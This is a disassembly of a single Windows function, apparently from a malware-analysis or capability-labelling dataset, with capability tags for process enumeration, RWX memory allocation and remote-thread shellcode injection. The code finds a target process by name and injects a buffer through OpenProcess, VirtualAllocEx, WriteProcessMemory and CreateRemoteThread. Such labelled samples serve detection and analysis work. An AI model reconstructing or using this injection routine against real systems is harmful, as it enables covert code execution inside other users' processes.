Function at 0x1400016b0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x140099040]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov rsi, rcx
mov qword [rsp + 0x50], rcx
xor r14d, r14d
mov qword [rsp + 0x40], r14
mov rdx, qword [rcx + 0x10]
lea rcx, [rsp + 0x40]
call fcn.140001370
mov qword [rsp + 0x48], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140001b43
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001b3a
mov r8d, 0xa
movabs rdx, 0x7fffffffffffffff
movabs rcx, 0x7ffffffffffffffe
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r14
mov qword [rbp + 0x1b8], r14
lea rax, [rbp - 0x74]
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140001780
cmp rdi, rcx
ja 0x140001b73
cmp rdi, 7
ja 0x1400017e5
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1b8], 7
lea rbx, [rdi + rdi]
mov r8, rbx
lea rdx, [rbp - 0x74]
lea rcx, [rbp + 0x1a0]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx + 0x1a0], r14w
mov r13, qword [rbp + 0x1b8]
mov rdi, qword [rbp + 0x1b0]
mov r15, qword [rbp + 0x1a0]
jmp 0x140001886
mov r13, rdi
or r13, 7
cmp r13, rcx
jbe 0x1400017fa
mov r13, rcx
lea rcx, [rdx + rdx]
jmp 0x14000181b
cmp r13, 0xa
cmovb r13, r8
lea rcx, [r13 + 1]
cmp rcx, rdx
ja 0x140001b79
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001847
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001b79
mov rcx, rax
call fcn.140003610
test rax, rax
je 0x140001b33
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140001859
test rcx, rcx
je 0x140001856
call fcn.140003610
mov r15, rax
jmp 0x140001859
mov r15, r14
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1b8], r13
lea rbx, [rdi + rdi]
mov r8, rbx
lea rdx, [rbp - 0x74]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + r15], r14w
lea rdx, [0x1400055a1]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov rsi, qword [rsi + 0x18]
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
lea rbx, [rax + 1]
cmp rbx, 0xffffffffffffffff
jne 0x1400018c0
lea rcx, [0x1400056f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
jmp 0x1400018f0
lea rcx, [rbx + rbx]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
jne 0x1400018e1
lea rcx, [0x1400056fc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
jmp 0x1400018f0
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov r10, 0xffffffffffffffff
nop word [rax + rax]
inc r10
cmp word [r14 + r10*2], 0
jne 0x140001900
lea rbx, [rbp + 0x1a0]
cmp r13, 7
cmova rbx, r15
cmp r10, rdi
ja 0x140001ad4
sub rdi, r10
test r10, r10
je 0x1400019a9
lea r11, [rdi + 1]
lea r11, [rbx + r11*2]
mov rax, rbx
nop word [rax + rax]
mov rcx, r11
sub rcx, rax
sar rcx, 1
je 0x140001ad4
movzx edx, word [r14]
cmp word [rax], dx
je 0x140001967
add rax, 2
sub rcx, 1
jne 0x140001953
jmp 0x140001ad4
test rax, rax
je 0x140001ad4
mov r8, r10
mov rdx, r14
test r10, r10
je 0x140001999
mov r9, rax
sub r9, r14
movzx ecx, word [rdx]
cmp word [r9 + rdx], cx
jne 0x140001b2a
add rdx, 2
sub r8, 1
jne 0x140001981
sub rax, rbx
sar rax, 1
cmp rax, 0xffffffffffffffff
je 0x140001ad4
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.OpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov ecx, 0x1fffff
call rax
mov rbx, rax
test rax, rax
je 0x140001ad4
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.VirtualAllocEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r14, qword [rsp + 0x40]
mov r8, r14
xor edx, edx
mov rcx, rbx
call rax
mov rdi, rax
test rax, rax
je 0x140001aca
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9, r14
mov r8, qword [rsp + 0x48]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001ac1
lea rdx, str.Remote_buffer_address:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400032d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x140001ac1
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp r13, 7
jbe 0x140001b0b
lea rdx, [r13*2 + 2]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001b03
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b33
mov rcx, r15
call fcn.14000364c
lea rdx, [rsp + 0x60]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140001b3a
mov rsi, qword [rsp + 0x50]
xor r14d, r14d
jmp 0x140001741
add rax, 2
jmp 0x140001940
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.1400035f0
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001290
int3
call fcn.1400011f0
int3